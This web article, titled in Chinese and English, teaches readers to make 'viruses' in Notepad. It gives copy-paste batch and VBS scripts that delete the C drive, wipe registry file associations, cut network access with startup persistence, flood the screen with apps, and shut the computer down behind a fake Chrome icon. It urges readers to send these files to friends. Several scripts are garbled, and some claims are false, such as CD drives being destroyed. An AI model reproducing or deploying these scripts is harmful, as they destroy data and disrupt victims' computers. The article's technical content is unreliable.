6 种创建计算机病毒的方法(使用记事本)
6 Ways To Create A Computer Virus (Using Notepad)
A comрuter vіrus is a malicious program that is loaded into a user’s computer and carries out a malicious activity withoυt the uѕer’s knowledgе. Have you ever wondered how computer viruses аre creаted? You must be thinking like how can you create a computеr virus as you do not havе any kind of practical knowledge about any of the codes. Bυt it is very easy! Now, you can create a computer virus vеry easily. Yоu do not need to understand the codes and stυff to create a computer νirus. In this article, you will get to know some of the best methods from which you can create a computer virus within secоnds. Also, there are some methods that you can use to amaze your friends and family members aѕ they аre absolutely hаrmless.
You can have a look at the best methods to create a computer virus which is as follows:
Some Easy Methods To Create A Computer Virus
1. How to create a dangerous virus
1. In the first step, you need to open the notepad in your Windows OS.
2. Now, in your notepad, you have to copy and paste the code which is mentioned below:
@Echo off
Del C: *.* |y
3. In this step, you have to save this file. You can save this file by any name you want to, but in the end, you have to type “.bat“. For example, notepad.bat
Now, when you run this file, the C drive of that computer will be deleted. Also, the operating system of that computer will be destroyed.
IMPORTANT: Please do not try this on your computer or for any illegal purpose.
2. How to create a Harmless Cdrom Virus
Following are the steps to create a Cdrom virus:
1. Open your notepad using Windows search.
2. Now, you have to copy and paste the code which is mentioned below:
Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
3. In this step, you have to save this file. You can save this file by any name you want to, but in the end, you have to type “.vbs”. For example, notepad.vbs
4. Now, you have to double click on this file, and your DVD drive and CD drive will be destroyed completely. It is, therefore, a very simple method to create a virus.
5. For stopping this Virus, you will have to open the Task Manager.
6. Select the process tab and then you have to click “end the wscript.exe file“.
3. How to create a Virus with the help of which you can test your antivirus (fake virus notepad)
Following are the steps to create a Virus with the help of which you can test your antivirus:
1. Again Open Notepad in Windows 10.
2. Now, you have to copy and paste the code which is mentioned below:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
3, Now, you have to save this file by the name “EICAR.COM” as shown in the image below:
Also, if you already have an active antivirus on your computer then, the file will be removed immediately. This Virus is not at all harmful for your computer. You can use it to keep a check on the security level of your antivirus.
Also Read: Fix AMD Error Windows Cannot Find Bin64 –Installmanagerapp.exe
4. How to stop someone’s Internet Access with the help of Virus
This Virus is not at all harmful. Also, your computer will not be destroyed by using this. You can use this Virus to amaze your friends. You can shut off anyone’s internet access by using this Virus.
Following are the steps to stop someone’s Internet Access with the help of a Virus:
1. Open your notepad
2. Now, you have to copy and paste the code which is mentioned below:
@Echo off
Ipconfig /release
3. Now, you have to save this file. You can save this file by any name you want to, but in the end, you have to type “.bat”. For example, notepad.bat.
4. Then, send this file to your friends.
5. When they open this file, their IP address will be lost.
6. To solve this issue, you just have to type renew or IPconfig in cmd, and the issue will be solved.
So, try out this amazing and cool Virus to amaze your friends.
5. How to create a Matrix Type screen
You can use this method to amaze your friends. It is not an actual virus. By using this method, you will see some matrix-type screen of green color lines which will appear on your screen all of a sudden. This is a very safe method. When your friends see it, they will think that their computer has a virus as the green-colored screen looks exactly like that!
Following are the steps to create a Matrix Type screen:
1. Open your notepad
2. Now, you have to copy and paste the code which is mentioned below:
@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
3. Now, you have to save the file by the name “Matrix.bat” as shown in this above image
4. Open the file, and the coolest show begins!
6. How to create a virus which Shutdowns the computer
By using this method, you can easily shut down the computer with the help of a virus. This Virus is not at all harmful.
Following are the steps to create a virus which Shutdowns the computer:
1. In the first step, you have to right-click on your desktop and then choose the option “Create Shortcut” as shown in the image below:
2. Now, you have to type the following:
-s -t 50 -c “Virus Detection. The computer is shutting down”
Note: You can type any number you want to type instead of 50. The number is used to represent the time(unit-seconds).
3. Now, you have to click “Next”.
4. Then, type anything you want to. For example, notepad.
5. You can now choose any icon for the Virus. Here, we are choosing Google Chrome, by which people can easily be confused.
6. Your Virus will have an icon just like Google Chrome. By this Google Chrome icon, you can confuse anyone! Try this Virus, and amaze your friends!
Other virus codes
The following are some other codes which can create a virus. All these viruses are very
IMPORTANT: The damages which are caused by the following viruses cannot be reversed or fixed.
Number 1: How to Disable Internet Permanently
The code which is mentioned below will disable the internet connectivity for forever. So, you have to be cautious before using this Virus.
echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
ipconfig/release_all>c:windowswimn32.bat
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho You Have Been HACKED!
PAUSE
Number 2: Endless Notepads To crash or freeze the computer
You can use the code mentioned below to create or pop up infinite notepads on someone’s computer, which will result in freezing or crashing of the computer.
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
#3 Endless Enter
The below code will make the enter button pressed continuously
Set wshShell = wscript.CreateObject(”WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop
Number 3: How to Delete Key Registry Files
This is a very dangerous virus, so be cautious before using it. This Virus cannot be reversed. The only way to fix the Virus is that you will have to reinstall the windows again. Following is the code for this Virus:
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your PC has been crashed. Your Dad.
GOTO MESSAGE
Number 4: App Bomber- resulting in infinite apps
This Virus is way too dangerous. This Virus will freeze your computer immediately. By using this Virus, infinite applications will appear on someone’s screen, which will result in the freezing or crashing of the computer. So, use this Virus cautiously as it can also destroy your baseboard of the computer.
Following is the code for this Virus:
@echo off
>:(
start winword
start mspaint
start notepad
start write
start cmd
start explorer
start control
start calc
goto x
Recommended: Download Windows 10 for free on your PC
So, these were the best methods to create a computer virus which you can consider. Also, be cautious before using any of the methods as some of them are way too harmful.